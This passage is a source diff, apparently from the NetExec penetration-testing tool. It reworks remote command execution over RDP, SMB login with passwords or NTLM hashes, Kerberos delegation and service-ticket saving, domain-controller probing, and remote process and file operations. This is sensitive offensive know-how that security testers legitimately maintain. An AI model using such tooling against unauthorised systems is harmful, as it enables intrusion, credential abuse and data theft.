execute - await asyncio.sleep(self.args.cmd_delay) - - if get_output: - # Get the current clipboard text - self.logger.debug("Getting clipboard content...") - clipboard_text = await self.conn.get_current_clipboard_text() + if get_output: + # On first RDP logon after boot, Explorer may not be ready to + # process Win+R immediately after the desktop appears. This + # no-op warmup command absorbs the race: if the shell isn't + # ready it silently fails, and the 3-second pause gives Explorer + # time to finish initialization before the real command. + await self._submit_typed_run_command( + "powershell.exe -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden " + '-Command "Add-Type -AssemblyName System.Windows.Forms"' + ) + await asyncio.sleep(3) - if clipboard_text: - self.logger.debug("Command output retrieved from clipboard:") - for line in clipboard_text.lstrip().strip("\n").splitlines(): - self.logger.highlight(line) - else: - self.logger.fail("Clipboard is empty or contains non-text data") - return clipboard_text - else: - self.logger.success("Executed command without retrieving output") + if get_output: + try: + await self._submit_run_command(command) + except TimeoutError: + self.logger.fail( + "Remote session did not acknowledge the clipboard command data" + ) + return None + else: + await self._submit_typed_run_command(command) - self.logger.debug("Command execution completed") + if not get_output: + await asyncio.sleep(self.args.cmd_delay) + self.logger.success("Executed command without retrieving output") return None - except (ConnectionResetError, ConnectionError, OSError) as e: - self.logger.debug(f"Connection error during command execution: {e!s}") - self.logger.fail("Connection was reset by the remote host during command execution") - return None - except Exception as e: - self.logger.debug(f"Error during command execution: {e!s}") - if "cannot unpack non-iterable NoneType object" in str(e): - self.logger.fail("RDP connection was terminated unexpectedly") - else: - self.logger.fail(f"Command execution failed: {e!s}") + try: + exit_code, output = await self._wait_for_command_result(marker) + except TimeoutError: + self.logger.fail("Timed out waiting for command output on the RDP clipboard") return None + if exit_code != 0: + self.logger.fail(f"Command completed with exit code {exit_code}") + if output: + for line in output.splitlines(): + self.logger.highlight(line) + else: + self.logger.debug("Command completed without output") + return output + except (ConnectionResetError, ConnectionError, OSError) as e: self.logger.debug(f"Connection error: {e!s}") self.logger.fail("Connection was reset by the remote host") @@ -559,37 +749,31 @@ def execute(self, payload=None, shell_type="cmd"): get_output = bool(not self.args.no_output) - self.logger.success(f"Executing command: {payload} with delay {self.args.cmd_delay} seconds") + self.logger.success(f"Executing command: {payload}") try: result = asyncio.run(self.execute_shell(payload, get_output, shell_type)) - if result: + if result is not None: self.logger.debug("Command execution completed") return result except Exception as e: self.logger.error(f"Command execution error: {e!s}") - if shell_type == "cmd": - self.logger.info("Cannot execute command via cmd - now switching to PowerShell to attempt execution") - try: - return self.execute(payload, shell_type="powershell") - except Exception as e2: - self.logger.fail(f"Execute command failed, error: {e2!s}") - else: - self.logger.fail(f"Execute command failed, error: {e!s}") + self.logger.fail(f"Execute command failed, error: {e!s}") def ps_execute(self): self.execute(payload=self.args.ps_execute, shell_type="powershell") async def screen(self): try: - self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) + self.conn = self._create_rdp_connection(self.auth) await self.connect_rdp() await asyncio.sleep(5) if self.conn is not None and self.conn.desktop_buffer_has_data is True: buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) - filename = os.path.expanduser(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") + filename_stem = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=251) + filename = await (Path(NXC_PATH) / "screenshots" / f"{filename_stem}.png").expanduser() buffer.save(filename, "png") self.logger.highlight(f"Screenshot saved {filename}") except Exception as e: @@ -605,8 +789,9 @@ async def nla_screen(self): for proto in self.protoflags_nla: try: - self.iosettings.supported_protocols = proto - self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) + self.conn = self._create_rdp_connection( + self.auth, supported_protocols=proto + ) await self.connect_rdp() except Exception as e: self.logger.debug(f"Failed to connect for nla_screenshot with {proto} {e}") @@ -617,7 +802,8 @@ async def nla_screen(self): await asyncio.sleep(int(self.args.screentime)) if self.conn is not None and self.conn.desktop_buffer_has_data is True: buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) - filename = os.path.expanduser(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") + filename_stem = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=251) + filename = await (Path(NXC_PATH) / "screenshots" / f"{filename_stem}.png").expanduser() buffer.save(filename, "png") self.logger.highlight(f"NLA Screenshot saved {filename}") return diff --git a/nxc/protocols/rdp/database.py b/nxc/protocols/rdp/database.py index b7cbd86fcc..d809231325 100644 --- a/nxc/protocols/rdp/database.py +++ b/nxc/protocols/rdp/database.py @@ -98,7 +98,7 @@ def get_hosts(self, filter_term=None, domain=None): return [results] # filtering nla False because this is the misconfiguration we are looking for elif filter_term == "nla": - q = q.filter(self.HostsTable.c.nla == False) # noqa: E712 + q = q.filter(self.HostsTable.c.nla == False) # ruff: ignore[true-false-comparison] # if we're filtering by ip/hostname elif filter_term and filter_term != "": q = format_host_query(q, filter_term, self.HostsTable) diff --git a/nxc/protocols/rdp/proto_args.py b/nxc/protocols/rdp/proto_args.py index a604675716..057c927788 100644 --- a/nxc/protocols/rdp/proto_args.py +++ b/nxc/protocols/rdp/proto_args.py @@ -20,8 +20,8 @@ def proto_args(parser, parents): cgroup = rdp_parser.add_argument_group("Command Execution") cgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command") cgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command") - cgroup.add_argument("--cmd-delay", type=int, default=5, help="Sleep time before executing command") - cgroup.add_argument("--clipboard-delay", type=int, default=30, help="Maximum time to wait for clipboard initialization (seconds)") + cgroup.add_argument("--cmd-delay", type=int, default=5, help="Delay before executing the command and before disconnecting with --no-output") + cgroup.add_argument("--clipboard-delay", type=int, default=30, help="Maximum time to wait for clipboard initialization and command output") cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output") return parser diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index a044477279..7bdefa90f3 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -5,13 +5,18 @@ import re import struct import ipaddress +from pathlib import Path + +from nxc.helpers.path import sanitize_path_component from Cryptodome.Hash import MD4 from textwrap import dedent +from nxc.helpers.misc import sanitize_dns from impacket.smbconnection import SMBConnection, SessionError from impacket.smb import SMB_DIALECT from impacket.smb3structs import SMB2_DIALECT_30, SMB2_NEGOTIATE_SIGNING_REQUIRED from impacket.examples.secretsdump import ( + LocalOperations, RemoteOperations, SAMHashes, LSASecrets, @@ -32,7 +37,7 @@ from impacket.dcerpc.v5.samr import SID_NAME_USE from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED from impacket.krb5.ccache import CCache -from impacket.krb5.kerberosv5 import SessionKeyDecryptionError, getKerberosTGT +from impacket.krb5.kerberosv5 import SessionKeyDecryptionError, getKerberosTGT, getKerberosTGS, KerberosError from impacket.krb5.types import KerberosException, Principal from impacket.krb5 import constants from impacket.dcerpc.v5.dtypes import NULL @@ -44,10 +49,12 @@ FILE_DIRECTORY_FILE, FILE_OPEN, FILE_READ_ATTRIBUTES, + FILE_READ_DATA, FILE_SHARE_DELETE, FILE_SHARE_READ, FILE_SHARE_WRITE, FILE_SYNCHRONOUS_IO_NONALERT, + FILE_WRITE_DATA, GENERIC_WRITE, SMB2_0_IOCTL_IS_FSCTL, WRITE_DAC, @@ -55,12 +62,11 @@ ) from impacket.dcerpc.v5 import tsts as TSTS -from nxc.config import process_secret, host_info_colors, stealth_label +from nxc.config import process_secret, host_info_colors, stealth_label, check_guest_account, display_dc from nxc.connection import connection, sem, requires_admin, dcom_FirewallChecker from nxc.helpers.misc import gen_random_string, validate_ntlm from nxc.logger import NXCAdapter -from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection -from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage +from nxc.paths import NXC_PATH from nxc.protocols.smb.kerberos import kerberos_login_with_S4U, kerberos_altservice, get_realm_from_ticket from nxc.protocols.smb.wmiexec import WMIEXEC from nxc.protocols.smb.atexec import TSCH_EXEC @@ -73,17 +79,13 @@ from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB from nxc.helpers.logger import highlight from nxc.helpers.bloodhound import add_user_bh +from nxc.helpers.dpapi import DPAPITriage from nxc.helpers.rpc import NXCRPCConnection from nxc.helpers.powershell import create_ps_command from nxc.helpers.misc import detect_if_ip from nxc.protocols.ldap.resolution import LDAPResolution -from dploot.triage.vaults import VaultsTriage -from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie -from dploot.triage.credentials import CredentialsTriage -from dploot.triage.cng import CngTriage -from dploot.lib.target import Target -from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection +from dploot.lib.network.smb import SMBTarget as Target from time import time, ctime, sleep from traceback import format_exc @@ -136,12 +138,12 @@ def __init__(self, args, db, host): self.nthash = "" self.remote_ops = None self.bootkey = None + self.dpapi_system_key = None self.smbv1 = None # Check if SMBv1 is supported self.smbv3 = None # Check if SMBv3 is supported self.is_timeouted = False self.signing = False self.smb_share_name = smb_share_name - self.pvkbytes = None self.no_da = None self.no_ntlm = False self.null_auth = False @@ -150,6 +152,10 @@ def __init__(self, args, db, host): self.admin_privs = False self.c_share_write_checked = False self.isdc = None + self.tgt = None + self.tgs = None + + self._dpapi_triage = None connection.__init__(self, args, db, host) @@ -201,23 +207,24 @@ def enum_host_info(self): self.no_ntlm = True self.logger.debug("NTLM not supported") + aggressive_check = bool(self.args.generate_hosts_file or self.args.generate_krb5_file) + self.is_host_dc(aggressive_check=aggressive_check) + # self.domain is the attribute we authenticate with # self.targetDomain is the attribute which gets displayed as host domain if not self.no_ntlm: # Try to get hostname with getServerDNSHostName as getServerName is truncated to 15 chars - dns_hostname = self.conn.getServerDNSHostName().upper() + dns_hostname = self.conn.getServerDNSHostName() if dns_hostname and "." in dns_hostname: - self.hostname = dns_hostname.split(".")[0] + hostname = dns_hostname.split(".", 1)[0] elif dns_hostname: - self.hostname = dns_hostname + hostname = dns_hostname else: - self.hostname = self.conn.getServerName() - self.targetDomain = self.conn.getServerDNSDomainName() - if not self.targetDomain: # Not sure if that can even happen but now we are safe - self.targetDomain = self.hostname + hostname = self.conn.getServerName() + self.hostname = sanitize_dns(hostname, self.logger) + self.targetDomain = sanitize_dns(self.conn.getServerDNSDomainName() or self.hostname, self.logger) else: try: - self.is_host_dc() # If we know the host is a DC we can still get the hostname over LDAP if NTLM is not available if self.isdc and detect_if_ip(self.host): self.hostname, self.domain = LDAPResolution(self.host).get_resolution() @@ -283,6 +290,15 @@ def enum_host_info(self): self.os_arch = self.get_os_arch() + # moved at the end because it can cause issues with some DCs if we try to login as guest before checking if dc or not + if check_guest_account and not self.no_ntlm: + try: + self.conn.login("Guest", "") + self.logger.debug("Guest authentication successful") + self.is_guest = True + except Exception: + self.is_guest = False + try: # DCs seem to want us to logoff first, windows workstations sometimes reset the connection self.conn.logoff() @@ -313,19 +329,18 @@ def enum_host_info(self): if not self.kdcHost and self.domain and self.domain == self.targetDomain: result = self.resolver(self.domain) self.kdcHost = result["host"] if result else None - self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") + self.logger.debug(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") def print_host_info(self): signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"]) smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"]) ntlm = colored(f" (NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else "" - null_auth = colored(f" (Null Auth:{self.null_auth})", host_info_colors[2], attrs=["bold"]) if self.null_auth else "" guest = colored(f" (Guest Auth:{self.is_guest})", host_info_colors[1], attrs=["bold"]) if self.is_guest else "" - self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1}){ntlm}{null_auth}{guest}") + isdc = colored(f" (DC:{self.isdc})", host_info_colors[3], attrs=["bold"]) if self.isdc and display_dc else "" + null_auth = colored(f" (Null Auth:{self.null_auth})", host_info_colors[2], attrs=["bold"]) if self.null_auth else "" + self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1}){ntlm}{null_auth}{guest}{isdc}") if self.args.generate_hosts_file or self.args.generate_krb5_file: - if self.isdc is None: - self.is_host_dc() if self.args.generate_hosts_file: with open(self.args.generate_hosts_file, "a+") as host_file: dc_part = f" {self.targetDomain}" if self.isdc else "" @@ -357,6 +372,25 @@ def print_host_info(self): return self.host, self.hostname, self.targetDomain + @contextlib.contextmanager + def increase_auth_timeout(self): + """ + Windows Server 2025 and later implemented a rate limiter for NTLM authentication attempts: + https://learn.microsoft.com/en-us/windows-server/storage/file-server/configure-smb-authentication-rate-limiter + + Therefore, we increase the timeout for the authentication process by 1 in order to overcome the 2 seconds rate limit + that would otherwise result in a NetBIOSTimeout exception for invalid credentials. + Also see: https://github.com/Pennyw0rth/NetExec/issues/1077 + """ + self.conn.setTimeout(self.args.smb_timeout + 1) + self.logger.debug(f"Increased timeout to {self.args.smb_timeout + 1} seconds") + try: + yield + finally: + with contextlib.suppress(Exception): + self.conn.setTimeout(self.args.smb_timeout) + self.logger.debug(f"Decreased timeout to {self.args.smb_timeout} seconds") + def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): self.logger.debug(f"KDC set to: {kdcHost}") # Re-connect since we logged off @@ -389,19 +423,28 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", if self.args.delegate: kerb_pass = "" self.username = self.args.delegate - serverName = Principal(self.args.delegate_spn if self.args.delegate_spn else f"cifs/{self.remoteName}", type=constants.PrincipalNameType.NT_SRV_INST.value) + serverName = Principal(self.args.spn if self.args.spn else f"cifs/{self.remoteName}", type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, sk = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey, kdcHost, self.args.delegate, serverName, useCache, no_s4u2proxy=self.args.no_s4u2proxy, u2u=self.args.u2u) self.logger.debug(f"TGS obtained for {self.args.delegate} for {serverName}") spn = f"cifs/{self.remoteName}" - if self.args.delegate_spn: + if self.args.spn: self.logger.debug(f"Swapping SPN to {spn} for TGS") tgs = kerberos_altservice(tgs, spn) if self.args.generate_st: - self.save_st(tgs, sk, spn if self.args.delegate_spn else None) + self.save_st(tgs, sk, spn if self.args.spn else None) self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs) + + if self.args.generate_st: + try: + creds = self.conn.getCredentials() + self.tgt, self.tgs = creds[6], creds[7] + except Exception as e: + self.logger.fail(f"Could not retrieve credentials for --generate-st: {e}") + return False + if "Unix" not in self.server_os: self.check_if_admin() @@ -416,10 +459,10 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", auth_user = username if username else "ccache" used_ccache = f" through S4U{u2u_str} with {auth_user}" - if self.args.delegate_spn: + if self.args.spn: u2u_str = "+U2U" if self.args.u2u else "" auth_user = username if username else "ccache" - used_ccache = f" through S4U{u2u_str} with {auth_user} (w/ SPN {self.args.delegate_spn})" + used_ccache = f" through S4U{u2u_str} with {auth_user} (w/ SPN {self.args.spn})" out = f"{self.domain}\\{self.username}{used_ccache} {self.mark_stealth()}" self.logger.success(out) @@ -484,8 +527,9 @@ def plaintext_login(self, domain, username, password): self.username = username self.domain = domain - self.conn.login(self.username, self.password, domain) - self.logger.debug(f"Logged in with password to SMB with {domain}/{self.username}") + with self.increase_auth_timeout(): + self.conn.login(self.username, self.password, domain) + self.logger.debug(f"Logged in with password to SMB with {domain}/{self.username}") self.is_guest = bool(self.conn.isGuestSession()) self.logger.debug(f"{self.is_guest=}") if "Unix" not in self.server_os: @@ -552,8 +596,9 @@ def hash_login(self, domain, username, ntlm_hash): if nthash: self.nthash = nthash - self.conn.login(self.username, "", domain, lmhash, nthash) - self.logger.debug(f"Logged in with hash to SMB with {domain}/{self.username}") + with self.increase_auth_timeout(): + self.conn.login(self.username, "", domain, lmhash, nthash) + self.logger.debug(f"Logged in with hash to SMB with {domain}/{self.username}") self.is_guest = bool(self.conn.isGuestSession()) self.logger.debug(f"{self.is_guest=}") if "Unix" not in self.server_os: @@ -618,7 +663,7 @@ def _is_signing_required(self): return self.conn.isSigningRequired() def create_smbv1_conn(self, check=False): - self.logger.info(f"Creating SMBv1 connection to {self.host}") + self.logger.debug(f"Creating SMBv1 connection to {self.host}") try: conn = SMBConnection( self.remoteName, @@ -633,26 +678,26 @@ def create_smbv1_conn(self, check=False): self.conn = conn except OSError as e: if "Connection reset by peer" in str(e): - self.logger.info(f"SMBv1 might be disabled on {self.host}") + self.logger.debug(f"SMBv1 might be disabled on {self.host}") elif "timed out" in str(e): self.is_timeouted = True self.logger.debug(f"Timeout creating SMBv1 connection to {self.host}") else: - self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}") + self.logger.debug(f"Error creating SMBv1 connection to {self.host}: {e}") self.smbv1 = False return False except NetBIOSError: - self.logger.info(f"SMBv1 disabled on {self.host}") + self.logger.debug(f"SMBv1 disabled on {self.host}") self.smbv1 = False return False except (Exception, NetBIOSTimeout) as e: - self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}") + self.logger.debug(f"Error creating SMBv1 connection to {self.host}: {e}") self.smbv1 = False return False return True def create_smbv3_conn(self): - self.logger.info(f"Creating SMBv3 connection to {self.host}") + self.logger.debug(f"Creating SMBv3 connection to {self.host}") try: self.conn = SMBConnection( self.remoteName, @@ -667,7 +712,7 @@ def create_smbv3_conn(self): self.is_timeouted = True self.logger.debug(f"Timeout creating SMBv3 connection to {self.host}") else: - self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}") + self.logger.debug(f"Error creating SMBv3 connection to {self.host}: {e}") self.smbv3 = False return False return True @@ -796,58 +841,181 @@ def generate_tgt(self): except Exception as e: self.logger.fail(f"Failed to get TGT: {e}") - def check_dc_ports(self, timeout=1): - """Check multiple DC-specific ports in case first check fails""" - import socket - dc_ports = [88, 389, 636, 3268, 9389] # Kerberos, LDAP, LDAPS, Global Catalog, ADWS - open_ports = 0 + def generate_st(self): + # When --delegate is used, the S4U Service Ticket is already obtained and saved during kerberos_login + if self.args.delegate: + return - for port in dc_ports: - try: - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(timeout) - result = sock.connect_ex((self.host, port)) - if result == 0: - self.logger.debug(f"Port {port} is open on {self.host}") - open_ports += 1 - sock.close() - except Exception: - pass - # If 3 or more DC ports are open, likely a DC - return open_ports >= 3 + spn = f"cifs/{self.remoteName}" if not self.args.spn else self.args.spn + + self.logger.info(f"Attempting to get ST for SPN {spn} as {self.username}@{self.domain}") - def is_host_dc(self): + try: + tgt = cipher = tgt_session_key = None + + if self.tgt is not None: + tgt = self.tgt["KDC_REP"] + cipher = self.tgt["cipher"] + tgt_session_key = self.tgt["sessionKey"] + self.logger.debug("Reusing TGT obtained during SMB login") + elif self.use_kcache: + try: + _, _, cached_tgt, _ = CCache.parseFile(self.domain, self.username) + if cached_tgt is not None: + tgt = cached_tgt["KDC_REP"] + cipher = cached_tgt["cipher"] + tgt_session_key = cached_tgt["sessionKey"] + self.logger.debug("Using TGT from ccache") + except Exception as e: + self.logger.debug(f"Could not load TGT from ccache: {e}") + + if tgt is None: + user_name = Principal(self.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + tgt, cipher, _, tgt_session_key = getKerberosTGT( + clientName=user_name, + password=self.password, + domain=self.domain.upper(), + lmhash=binascii.unhexlify(self.lmhash) if self.lmhash else "", + nthash=binascii.unhexlify(self.nthash) if self.nthash else "", + aesKey=self.aesKey, + kdcHost=self.kdcHost, + ) + self.logger.debug(f"TGT obtained for {self.username}@{self.domain}") + + server_name = Principal(spn, type=constants.PrincipalNameType.NT_SRV_INST.value) + tgs, _, tgs_session_key, _ = getKerberosTGS( + server_name, + self.domain.upper(), + self.kdcHost, + tgt, + cipher, + tgt_session_key, + ) + self.logger.debug(f"ST successfully obtained for SPN {spn}") + + ccache = CCache() + ccache.fromTGS(tgs, tgs_session_key, tgs_session_key) + st_file = f"{self.args.generate_st.removesuffix('.ccache')}.ccache" + ccache.saveFile(st_file) + + self.logger.success(f"ST saved to: {st_file}") + self.logger.success(f"Run the following command to use the ST: export KRB5CCNAME={st_file}") + except Exception as e: + self.logger.fail(f"Failed to get ST: {e}") + + def is_host_dc(self, aggressive_check=False): if self.isdc is not None: return self.isdc - from impacket.dcerpc.v5 import nrpc, epm + probes = [self._is_dc_via_smb] + if aggressive_check: + probes.append(self._is_dc_via_rpc) + if self.no_ntlm or aggressive_check: + probes.append(self._is_dc_via_kerberos) - self.logger.debug("Performing authentication attempts...") + for probe in probes: + result = probe() + if result is not None: + self.isdc = result + return self.isdc - # First check if port 135 is open - if self._is_port_open(135): - self.logger.debug("Port 135 is open, attempting MSRPC connection...") - try: - epm.hept_map(self.host, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp") - self.isdc = True - return True - except DCERPCException: - self.logger.debug("Error while connecting to host: DCERPCException, which means this is probably not a DC!") - except TimeoutError: - self.logger.debug("Timeout while connecting to host: likely not a DC or host is unreachable.") - except Exception as e: - self.logger.debug(f"Error while connecting to host: {e}") + if self.no_ntlm or aggressive_check: self.isdc = False - return False - else: - self.logger.debug("Port 135 is closed, skipping MSRPC check...") - # Fallback to checking DC ports - if self.check_dc_ports(): - self.logger.debug("Host appears to be a DC (multiple DC ports open)") - self.isdc = True + return self.isdc + + def _is_dc_via_smb(self): + """Tier 1: SYSVOL is published only by DCs. One TREE_CONNECT over the + session we already hold answers without enumerating every share (unlike + listShares). ACCESS_DENIED still proves the share exists, hence a DC. + + Meant to run while the null session is still fresh. When there is no + session, the reason is decisive: a DC with NTLM enabled always accepts + the null bind, so "NTLM on + no null session" means this is NOT a DC. + Only "NTLM disabled" is inconclusive here (a real DC can refuse the null + bind then), so we hand that case off to the Kerberos tier. + """ + if not self.null_auth: + if not self.no_ntlm: + self.logger.debug("NTLM enabled but no null session: host is not a DC") + return False + self.logger.debug("No null session (NTLM disabled): deferring to Kerberos") + return None + try: + tid = self.conn.connectTree("SYSVOL") + self.conn.disconnectTree(tid) + self.logger.debug("SYSVOL reachable over SMB: host is a DC") + return True + except SessionError as e: + if "STATUS_ACCESS_DENIED" in str(e): + self.logger.debug("SYSVOL exists (access denied): host is a DC") return True - self.isdc = False - return False + if "STATUS_BAD_NETWORK_NAME" in str(e): + self.logger.debug("No SYSVOL share: host is not a DC") + return False + self.logger.debug(f"SMB DC check inconclusive: {e}") + return None + except Exception as e: + self.logger.debug(f"SMB DC check unavailable: {e}") + return None + + def _is_dc_via_kerberos(self): + """Tier 2: only a KDC answers a Kerberos AS-REQ, and in AD the KDC runs + only on DCs. Pre-auth, no credentials - the fallback for NTLM-disabled + hosts where no SMB session exists. + + The realm need not be correct: a live KDC answers a wrong realm with + KDC_ERR_WRONG_REALM, which proves it is a KDC just as well as + PRINCIPAL_UNKNOWN would. So we use the known domain if we happen to have + one (a PRINCIPAL_UNKNOWN reply is marginally quieter) and otherwise a + placeholder - we never need to actually know the domain. + """ + if not self._is_port_open(88): + self.logger.debug("Port 88 closed/filtered: no KDC reachable, deferring") + return None + # targetDomain is not set yet when this runs on the no-NTLM path (it is + # produced later by the isdc-dependent LDAP resolution), so read it + # defensively and fall back to a placeholder - the realm need not be real. + realm = (self.domain or self.args.domain or "NXCPROBE").upper() + user = Principal("nxc_dc_probe", type=constants.PrincipalNameType.NT_PRINCIPAL.value) + try: + # A bogus principal with no pre-auth data cannot obtain a ticket, so + # a live KDC always answers with a KRB-ERROR (PRINCIPAL_UNKNOWN / + # WRONG_REALM / PREAUTH_REQUIRED) -> KerberosError. That reply is the + # proof: a KDC is listening, i.e. this host is a DC. Only a + # transport-level failure (connection refused / timeout) means no KDC. + getKerberosTGT(user, "", realm, "", "", kdcHost=self.host) + except KerberosError as e: + self.logger.debug(f"KDC replied with an error ({e}): host is a DC") + except Exception as e: + self.logger.debug(f"No KDC response (port 88 filtered or not a DC): {e}") + return None + return True + + def _is_dc_via_rpc(self): + """ + Unauthenticated Netlogon endpoint-mapper lookup on 135. NTLM-agnostic + and needs no session; + """ + from impacket.dcerpc.v5 import nrpc, epm + + if not self._is_port_open(135): + self.logger.debug("Port 135 closed/filtered: RPC inconclusive, deferring to Kerberos") + return None + + self.logger.debug("Port 135 is open, attempting Netlogon MSRPC lookup...") + try: + epm.hept_map(self.host, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp") + self.logger.debug("Netlogon endpoint registered: host is a DC") + return True + except DCERPCException: + self.logger.debug("Endpoint mapper answered but Netlogon not registered: host is not a DC") + return False + except TimeoutError: + self.logger.debug("Timeout on Netlogon lookup: inconclusive, deferring to Kerberos") + return None + except Exception as e: + self.logger.debug(f"Error on Netlogon lookup ({e}): inconclusive, deferring to Kerberos") + return None def _is_port_open(self, port, timeout=1): """Check if a specific port is open on the target host.""" @@ -1133,7 +1301,7 @@ def taskkill(self): self.logger.error("Could not get process list") return - pidList = [i["UniqueProcessId"] for i in res if i["ImageName"].lower() == self.args.taskkill.lower()] + pidList = [i.getProcessInfo()["UniqueProcessId"] for i in res if i.getProcessInfo()["ImageName"].getValue().lower() == self.args.taskkill.lower()] if not pidList: self.logger.fail(f"Could not find process named {self.args.taskkill}") return @@ -1247,12 +1415,12 @@ def qwinsta(self): @requires_admin def tasklist(self): # Formats a row to be printed on screen - def format_row(procInfo): + def format_row(procInfo, pSid): return template.format( - procInfo["ImageName"], - procInfo["UniqueProcessId"], - procInfo["SessionId"], - procInfo["pSid"], + str(procInfo["ImageName"].getValue()), + str(procInfo["UniqueProcessId"]), + str(procInfo["SessionId"]), + pSid, f"{procInfo['WorkingSetSize'] // 1000:,} K", ) @@ -1268,8 +1436,8 @@ def format_row(procInfo): if not res: return self.logger.success("Enumerated processes") - maxImageNameLen = max(len(i["ImageName"]) for i in res) - maxSidLen = max(len(i["pSid"]) for i in res) + maxImageNameLen = max(len(i.getProcessInfo()["ImageName"].getValue()) for i in res) + maxSidLen = max(len(i.getSid()) for i in res) template = f"{{: <{maxImageNameLen}}} {{: <8}} {{: <11}} {{: <{maxSidLen}}} {{: >12}}" self.logger.highlight(template.format("Image Name", "PID", "Session#", "SID", "Mem Usage")) self.logger.highlight(template.replace(": ", ":=").format("", "", "", "", "")) @@ -1280,12 +1448,12 @@ def format_row(procInfo): # If args.tasklist is not True then a process name was supplied if self.args.tasklist is not True: # So we look for it and print its information if found - if self.args.tasklist.lower() in procInfo["ImageName"].lower(): + if self.args.tasklist.lower() in procInfo.getProcessInfo()["ImageName"].getValue().lower(): found_task = True - self.logger.highlight(format_row(procInfo)) + self.logger.highlight(format_row(procInfo.getProcessInfo(), procInfo.getSid())) # Else, no process was supplied, we print the entire list of remote processes else: - self.logger.highlight(format_row(procInfo)) + self.logger.highlight(format_row(procInfo.getProcessInfo(), procInfo.getSid())) # If a process was suppliad to args.tasklist and it was not found, we print a fail message if self.args.tasklist is not True and not found_task: @@ -2079,24 +2247,114 @@ def put_file(self): for src, dest in self.args.put_file: self.put_file_single(src, dest) - def get_file_single(self, remote_path, download_path): + def download_file(self, share_name, remote_path, dest_file, access_mode=FILE_READ_DATA): + try: + self.logger.debug(f"Getting file from {share_name}:{remote_path} with access mode {access_mode}") + self.conn.getFile(share_name, remote_path, dest_file, shareAccessMode=access_mode) + return True + except SessionError as e: + if "STATUS_SHARING_VIOLATION" in str(e): + self.logger.debug(f"Sharing violation on {remote_path}: {e}") + else: + self.logger.debug(f"SessionError when attempting to download file {remote_path}: {e}") + return False + except Exception as e: + self.logger.debug(f"Other error when attempting to download file {remote_path}: {e}") + return False + + def get_file_single(self, remote_path, download_path, silent=False): share_name = self.args.share - self.logger.display(f'Copying "{remote_path}" to "{download_path}"') if self.args.append_host: - download_path = f"{self.hostname}-{remote_path}" + download_path = sanitize_path_component(f"{self.hostname}-{remote_path}") + if not silent: + self.logger.display(f"Copying '{remote_path}' to '{download_path}'") with open(download_path, "wb+") as file: - try: - self.conn.getFile(share_name, remote_path, file.write) - self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"') - except Exception as e: - self.logger.fail(f'Error writing file "{remote_path}" from share "{share_name}": {e}') - if os.path.getsize(download_path) == 0: - os.remove(download_path) + if self.download_file(share_name, remote_path, file.write): + if not silent: + self.logger.success(f"File '{remote_path}' was downloaded to '{download_path}'") + else: + self.logger.debug("Opening with READ alone failed, trying to open file with READ/WRITE access") + if self.download_file(share_name, remote_path, file.write, FILE_READ_DATA | FILE_WRITE_DATA): + if not silent: + self.logger.success(f"File '{remote_path}' was downloaded to '{download_path}'") + else: + if not silent: + self.logger.fail(f"Error downloading file '{remote_path}' from share '{share_name}'") def get_file(self): for src, dest in self.args.get_file: self.get_file_single(src, dest) + def download_folder(self, folder, dest, recursive=False, silent=False, base_dir=None, ignore_empty=False): + folder = ntpath.normpath(folder) + self.logger.debug(f"Downloading folder with args: {folder}, {dest}, Recursive: {recursive}, Silent: 